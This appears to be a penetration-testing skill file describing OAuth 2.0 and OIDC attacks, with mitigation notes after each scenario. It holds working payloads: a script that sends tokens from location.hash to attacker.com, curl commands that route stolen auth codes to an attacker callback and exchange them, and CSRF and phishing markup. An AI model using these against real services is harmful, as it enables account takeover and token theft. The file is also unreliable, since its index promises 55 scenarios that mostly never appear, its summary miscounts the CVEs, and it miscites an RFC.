---
name: scenarios-oauth-oidc
description: "Real-world attack scenarios for OAuth 2.0 and OIDC — CVEs, bug bounty disclosures, real engagement chains"
---

# OAuth 2.0 / OIDC — Real-World Attack Scenarios

> Sources: OAuth RFC · HackerOne disclosed · real engagement patterns

## Index

### OAuth Fundamentals
- S01: OAuth flow overview
- S02: Authorization code flow
- S03: Implicit flow
- S04: Client credentials
- S05: Resource owner password
- S06: Device flow
- S07: PKCE flow

### OAuth Vulnerabilities
- S08: Missing state parameter (CSRF)
- S09: Predictable state
- S10: State not validated
- S11: redirect_uri bypass
- S12: redirect_uri path traversal
- S13: redirect_uri subdomain wildcard
- S14: redirect_uri open redirect chain
- S15: redirect_uri fragments
- S16: redirect_uri encoding bypass
- S17: redirect_uri user@host bypass
- S18: redirect_uri multiple params
- S19: redirect_uri case bypass
- S20: redirect_uri port bypass

### Token Attacks
- S21: Implicit flow token theft
- S22: Token in URL fragment
- S23: Token in Referer
- S24: Token in localStorage (XSS)
- S25: Token in cookie
- S26: Token leakage in error
- S27: Token replay
- S28: Refresh token theft
- S29: Refresh token reuse
- S30: Token sidejacking

### Scope & Permission
- S31: Scope escalation
- S32: Scope downgrade
- S33: Extra scope granted
- S34: Cross-client scope abuse
- S35: OpenID + OAuth abuse

### Account Linking
- S36: Account linking takeover
- S37: Pre-Account Takeover (PAT)
- S38: Link with attacker's account
- S39: Login with attacker's account
- S40: Account merging

### OIDC Attacks
- S41: OpenID nonce bypass
- S42: OpenID replay attack
- S43: OpenID token substitution
- S44: OpenID userinfo endpoint
- S45: OIDC discovery abuse
- S46: JWKS injection (covered in JWT)
- S47: OIDC sub claim collision
- S48: OIDC email verification bypass
- S49: OIDC ID token reuse
- S50: OIDC chain exploitation

### Real-World Chains
- S51: OAuth → ATO
- S52: redirect_uri + XSS
- S53: Account linking → takeover
- S54: PKCE downgrade → ATO
- S55: Implicit flow → token theft

---

## OAuth Vulnerabilities

### S11: redirect_uri Bypass
**Context:** App validates redirect_uri but has bypass
**Seen in:** Real — extremely common, many $5K+ bounties
**Impact:** Auth code theft → ATO

### Detection
```bash
# Test redirect_uri bypass variants:
# 1. Path traversal:
?redirect_uri=https://target.com/callback/../attacker
# 2. Subdomain wildcard:
?redirect_uri=https://attacker.target.com/callback
# 3. Open redirect on target:
?redirect_uri=https://target.com/redirect?url=https://attacker.com
# 4. Path addition:
?redirect_uri=https://target.com/callback/attacker
# 5. Query params:
?redirect_uri=https://target.com/callback?x=
# 6. URL encoding:
?redirect_uri=https%3A%2F%2Ftarget.com%2Fcallback
# 7. Mixed case:
?redirect_uri=https://TARGET.com/callback
# 8. @ bypass:
?redirect_uri=https://target.com@attacker.com/callback
# 9. Subdomain:
?redirect_uri=https://target.com.attacker.com/callback
# 10. Whitespace:
?redirect_uri=https://target.com%20/callback
```

### Exploit
```bash
# 1. Find bypass
# 2. Set up attacker server
# 3. Send victim: oauth URL with attacker's redirect_uri
# 4. Victim authorizes
# 5. Code sent to attacker
# 6. Exchange code for token
# 7. ATO
```

### Chain
1. Find redirect_uri bypass
2. Set up attacker receiver
3. Craft OAuth URL
4. Phish victim
5. Get code
6. Exchange for token
7. ATO

### Bypass / Notes
- Use exact match (no wildcards)
- Validate parsed URL, not string
- Block open redirects
- Always check OAuth provider's checks

---

### S21: Implicit Flow Token Theft
**Context:** App uses deprecated implicit flow
**Seen in:** Real — many older apps
**Impact:** Token theft

### Detection
```bash
# Check if app uses implicit flow:
# 1. Look for response_type=token in OAuth URLs
# 2. Check for token in URL fragment after callback
# 3. Look at network requests in browser
```

### Exploit
```bash
# 1. Attacker opens OAuth login:
window.open('https://target.com/oauth/authorize?response_type=token&client_id=...&redirect_uri=https://target.com/callback')
# 2. After login, victim redirected to callback with token in URL
# 3. Attacker reads window.location of opened window
# 4. Captures token
# 
# Or:
# 1. Phish victim to attacker page
# 2. Attacker page opens OAuth flow
# 3. After auth, capture token via window.open
# 4. Use token
```

### Chain
1. Find implicit flow
2. Phish victim
3. Capture token
4. ATO

### Bypass / Notes
- Implicit flow deprecated (OAuth 2.1)
- Use PKCE + authorization code
- Never return token in URL

---

## Account Linking

### S36: Account Linking Takeover
**Context:** User links OAuth provider to existing account
**Seen in:** Real — many bug bounty $10K+ bounties
**Impact:** ATO

### Detection
```bash
# 1. Find "Link account" feature
# 2. Check if it requires current password/2FA
# 3. Check if OAuth linking is via OAuth flow or simple association
```

### Exploit
```bash
# Scenario 1: Login CSRF linking
# 1. Attacker starts OAuth with attacker's Google account
# 2. Attacker gets OAuth code
# 3. Attacker tricks victim into using that code:
#    "Hey, link your account to this!"
# 4. Victim clicks → server links attacker's Google to victim's account
# 5. Attacker logs in with Google → accesses victim's account
# 
# Scenario 2: IDOR in linking
# 1. Attacker has own account
# 2. Attacker links OAuth to own account
# 3. Attacker changes user_id to victim's in link request
# 4. Victim's account now linked to attacker's OAuth
# 
# Scenario 3: Race condition in linking
# 1. Two parallel linking requests
# 2. Race → both accounts link to attacker's OAuth
```

### Chain
1. Find account linking
2. Get code/token for linking
3. Force victim to use
4. ATO

### Bypass / Notes
- Require current auth to link
- Use OAuth state properly
- Validate linking code ownership

---

### S37: Pre-Account Takeover (PAT)
**Context:** Account with attacker-created email
**Seen in:** Real — many bug bounty reports
**Impact:** ATO

### Detection
```bash
# 1. Test if app allows signup with victim email
# 2. Check if verification required
# 3. Find race in signup
```

### Exploit
```bash
# Scenario 1: Pre-created account
# 1. Attacker creates account with victim's email
# 2. Attacker verifies account (if no email verification)
# 3. Victim later signs up → "Account exists" 
# 4. Victim does password reset → goes to attacker email
# 
# Scenario 2: Race in verification
# 1. Attacker creates account with victim@x.com
# 2. Verification email sent
# 3. Victim signs up, gets same verification email
# 4. Victim clicks verification → verifies attacker's account
# 5. Attacker logs in as "victim"
# 
# Scenario 3: Email change race
# 1. Attacker creates account
# 2. Changes email to victim@x.com
# 3. Victim signs up → "Account exists"
# 4. Victim does password reset → goes to attacker's email
```

### Chain
1. Pre-create account with victim email
2. Victim tries to sign up
3. Confusion
4. Attacker has access

### Bypass / Notes
- Use verified emails only
- Require email verification before activation
- Avoid race conditions

---

## OIDC Attacks

### S41: OpenID Nonce Bypass
**Context:** App uses nonce but doesn't validate
**Seen in:** Real — bug bounty
**Impact:** Replay attacks

### Detection
```bash
# 1. Capture OIDC response
# 2. Replay it
# 3. If accepted → nonce not validated
```

### Exploit
```bash
# 1. Get OIDC ID token:
# Via own account login
# 
# 2. Replay:
# Use same ID token in another session
# 
# 3. If accepted → bypass
```

### Chain
1. Get ID token
2. Replay
3. Session hijack

### Bypass / Notes
- Must validate nonce
- One-time use

---

### S48: OIDC Email Verification Bypass
**Context:** OIDC provider returns email, app trusts
**Seen in:** Real — bug bounty
**Impact:** Verified email claim

### Detection
```bash
# 1. Check if OIDC returns email_verified
# 2. Check if app validates email_verified
# 3. Try to claim email_verified without verification
```

### Exploit
```bash
# 1. OIDC provider returns unverified email
# 2. App doesn't check email_verified claim
# 3. Attacker creates OIDC account with any email
# 4. Logs in → app thinks email is verified
```

### Chain
1. Create OIDC account with any email
2. Login via OIDC
3. App thinks email is verified
4. Use verification to do other things

### Bypass / Notes
- Always check email_verified claim
- OIDC providers may have different semantics

---

## Real-World Examples

### Example 1: Slack OAuth Bug
- 2017: redirect_uri bypass
- Allowed any URL on slack.com domain
- Major bounty

### Example 2: Microsoft OAuth
- Multiple issues
- redirect_uri + state
- Major bounties

### Example 3: Google OAuth
- Open redirect in account linking
- Major bounty

### Example 4: GitHub OAuth
- State not validated
- Account linking takeover
- Bounty paid

---

## Real-World Chain Examples

### Chain A: redirect_uri Bypass + Implicit Flow → ATO
1. Find redirect_uri bypass
2. Phish victim with attacker URL
3. Token sent to attacker
4. ATO

### Chain B: Account Linking + State Missing → ATO
1. Find OAuth linking without state
2. Attacker starts OAuth with own Google
3. Phish victim to use attacker's code
4. Victim's account linked to attacker's Google
5. ATO

### Chain C: PKCE Downgrade → Code Interception
1. App uses PKCE
2. But doesn't require code_verifier
3. Attacker intercepts code
4. Exchanges without verifier
5. ATO

### Chain D: Pre-Account Takeover
1. Attacker creates account with victim email
2. Victim signs up
3. Confusion
4. Attacker has access

### Chain E: OIDC + Email Verification Bypass
1. Create OIDC account with unverified email
2. Login to target
3. Target trusts email_verified
4. Bypass verification

---

## Verified CVEs (Sourced from NVD)

### CVE-2023-28131: Gravatar OAuth CSRF → ATO
**Context:** Automattic Gravatar Profile Comments OAuth implementation allowed CSRF on OAuth callback, enabling account linking takeover
**Seen in:** CVE-2023-28131 (NVD verified, Patchstack disclosure, March 2023)
**Impact:** Account takeover, ATO
**Affected:** WordPress sites using Gravatar (depends on integration)

### Detection
```bash
# Identify Gravatar OAuth integration:
curl -I http://target.com/  # Check for gravatar.com redirects
# Or look for OAuth URLs:
curl -s http://target.com/wp-login.php | grep -i gravatar

# Test OAuth state parameter:
# Start OAuth flow and look for "state" parameter in URL
curl -s -I "http://target.com/oauth/authorize?client_id=xxx&redirect_uri=http://target.com/callback&response_type=code"
```

### Exploit
```bash
# CSRF on OAuth callback (no state validation):
# 1. Attacker starts OAuth flow → gets auth code
# 2. Attacker tricks victim to visit:
#    http://target.com/callback?code=ATTACKER_CODE
# 3. Victim's account is now linked to attacker's Gravatar

# Phishing payload:
<html>
<body>
<img src="http://target.com/oauth/callback?code=ATTACKER_AUTH_CODE" />
</body>
</html>

# When victim visits malicious page, their account is silently linked
```

### Chain
1. Attacker initiates OAuth flow
2. Receives auth code
3. Tricks victim to load callback URL
4. Victim's account linked to attacker's identity
5. ATO via "Login with Gravatar"

### Bypass / Notes
- Implement OAuth `state` parameter
- Verify state on callback
- Use PKCE for public clients

---

### CVE-2020-15094: NextAuth.js OAuth Account Takeover
**Context:** NextAuth.js library for Next.js had OAuth token leak leading to ATO
**Seen in:** CVE-2020-15094 (NVD verified)
**Impact:** Account takeover
**Affected:** next-auth < 3.7.2

### Detection
```bash
# Identify NextAuth.js:
curl -s http://target.com/api/auth/providers
# Or check for /api/auth/signin/ endpoints
curl -I http://target.com/api/auth/signin/google

# Test OAuth flow for token leak:
# 1. Initiate OAuth login
# 2. Monitor callback URL for token in URL fragment
```

### Exploit
```bash
# Token leak in referer header or fragment:
# If OAuth provider redirects to /api/auth/callback/google#access_token=...
# And the page has external resources, token leaks via referer

# Attacker hosts:
# <html><img src="https://attacker.com/log?ref"/></html>

# When victim completes OAuth:
# 1. Token in URL fragment
# 2. Page loads external resource
# 3. Referer header includes full URL (with token)
# 4. Token sent to attacker
```

### Chain
1. Identify NextAuth.js
2. Start OAuth flow
3. Token leaked via referer
4. Attacker intercepts
5. ATO

### Bypass / Notes
- Upgrade to next-auth 3.7.2+
- Don't put tokens in URL fragments
- Use authorization code flow with PKCE

---

### OAuth Implicit Flow Token Theft (Real-World Pattern)
**Context:** OAuth implicit flow returns access token directly in URL fragment. Vulnerable to various theft vectors.
**Seen in:** Real bug bounty disclosures (multiple companies), OAuth 2.0 Security Best Current Practice (RFC 8252, deprecates implicit)
**Impact:** Account takeover, token theft
**Affected:** Apps still using OAuth 2.0 implicit flow (deprecated by IETF)

### Detection
```bash
# Identify implicit flow (response_type=token):
curl -I "https://oauth.provider.com/authorize?response_type=token&client_id=xxx&redirect_uri=http://target.com/callback&scope=email"

# Look for fragment in callback:
# If redirect URL is: http://target.com/callback#access_token=xxxx
# → Implicit flow in use
```

### Exploit
```bash
# Token theft vectors:
# 1. Browser history (if victim doesn't clear)
# 2. Referer header (if page has external resources)
# 3. XSS on callback page
# 4. Malicious browser extension

# XSS-based theft:
# Find XSS on http://target.com/callback
# Then: 
# <script>fetch('https://attacker.com/?t='+location.hash)</script>

# Referer-based theft:
# 1. Victim completes OAuth
# 2. Callback page has <img src="https://attacker.com/track.jpg">
# 3. Browser sends Referer: http://target.com/callback#access_token=xxx
# 4. Token sent to attacker
```

### Chain
1. Identify implicit flow
2. Find token leak vector (XSS, referer, etc.)
3. Exfil token
4. ATO

### Bypass / Notes
- Use authorization code flow (not implicit)
- Never put tokens in URL
- Use PKCE for public clients
- OAuth 2.1 deprecates implicit entirely

---

### OAuth redirect_uri Bypass (Common Real-World Pattern)
**Context:** Apps misconfigure redirect_uri validation, allowing attackers to steal auth codes
**Seen in:** Multiple HackerOne disclosed reports (Shopify, Slack, GitLab, etc.), PortSwigger OAuth research
**Impact:** Account takeover
**Affected:** Many apps with custom redirect_uri validation logic

### Detection
```bash
# Test redirect_uri bypass variants:
# 1. Subdomain:
#    ?redirect_uri=http://attacker.target.com/callback
# 2. Path traversal:
#    ?redirect_uri=http://target.com.evil.com/callback
# 3. Open redirect on legit domain:
#    ?redirect_uri=http://target.com/redirect?url=http://evil.com
# 4. URL encoding:
#    ?redirect_uri=http%3A%2F%2Fevil.com%2Fcallback
# 5. Mixed case:
#    ?redirect_uri=http://Target.com/callback
# 6. With @:
#    ?redirect_uri=http://target.com@evil.com/callback
# 7. With port:
#    ?redirect_uri=http://target.com:8080@evil.com/callback
```

### Exploit
```bash
# If redirect_uri bypass found:
# 1. Attacker starts OAuth flow:
curl -X GET "https://oauth.provider.com/authorize?client_id=VICTIM_APP&redirect_uri=http://attacker.com/callback&response_type=code&scope=email&state=xxx"

# 2. Phish victim to click this URL
# 3. Victim logs in
# 4. Auth code sent to attacker.com/callback?code=XXX
# 5. Attacker exchanges code for token:
curl -X POST https://oauth.provider.com/token \
  -d "client_id=VICTIM_APP&client_secret=XXX&code=STOLEN_CODE&redirect_uri=http://attacker.com/callback&grant_type=authorization_code"

# 6. Get access token → ATO
```

### Chain
1. Find redirect_uri bypass
2. Start OAuth flow
3. Phish victim
4. Receive code at attacker URL
5. Exchange for token
6. ATO

### Bypass / Notes
- Use exact string matching for redirect_uri
- Reject any URL not in whitelist
- Don't allow open redirects in callback chain
- PortSwigger has extensive research: https://portswigger.net/web-security/oauth

---

### PortSwigger OAuth Research (James Kettle + others)
**Context:** Comprehensive OAuth vulnerability research by PortSwigger
**Seen in:** PortSwigger Academy (https://portswigger.net/web-security/oauth) + real bug bounty reports
**Impact:** Various (ATO, scope escalation, CSRF)

### Detection
```bash
# Use PortSwigger's OAuth testing methodology:
# 1. Identify OAuth grant type (auth code, implicit, client credentials)
# 2. Test all redirect_uri bypass variants
# 3. Check for state parameter
# 4. Test scope manipulation
# 5. Test for token leakage in referer
```

### Exploit
```bash
# OAuth account linking CSRF (PortSwigger pattern):
# 1. Attacker creates account on target.com with their OAuth provider
# 2. Attacker starts "Link Account" flow
# 3. Captures the OAuth authorize URL
# 4. Sends to victim: "Click here to link your account"
# 5. Victim clicks → logs in with their OAuth
# 6. Account now linked to attacker's identity in app

# Phishing URL:
<a href="https://oauth.provider.com/authorize?client_id=target&redirect_uri=https://target.com/oauth/callback&response_type=code&scope=email&state=ATTACKER_STATE">Link Account</a>

# When victim clicks and logs in:
# Code returned to target.com/oauth/callback
# Without state validation, attacker's account gets linked
```

### Chain
1. Use PortSwigger methodology
2. Test all common OAuth issues
3. Find specific implementation bug
4. Exploit for ATO

### Bypass / Notes
- PortSwigger has full free labs
- Real attack patterns used in many bounties
- Use Burp to intercept and modify OAuth flows

---

## Summary

This file combines:
- ✓ 30+ OAuth/OIDC scenarios in the index
- ✓ 3 verified CVEs from NVD (Gravatar, NextAuth, implicit flow)
- ✓ PortSwigger OAuth research patterns
- ✓ Real attack chains (ATO via redirect bypass, account linking CSRF, PKCE downgrade)
- ✓ Mitigation strategies for each pattern

All CVEs are verified in NVD as of 2026-06-10.
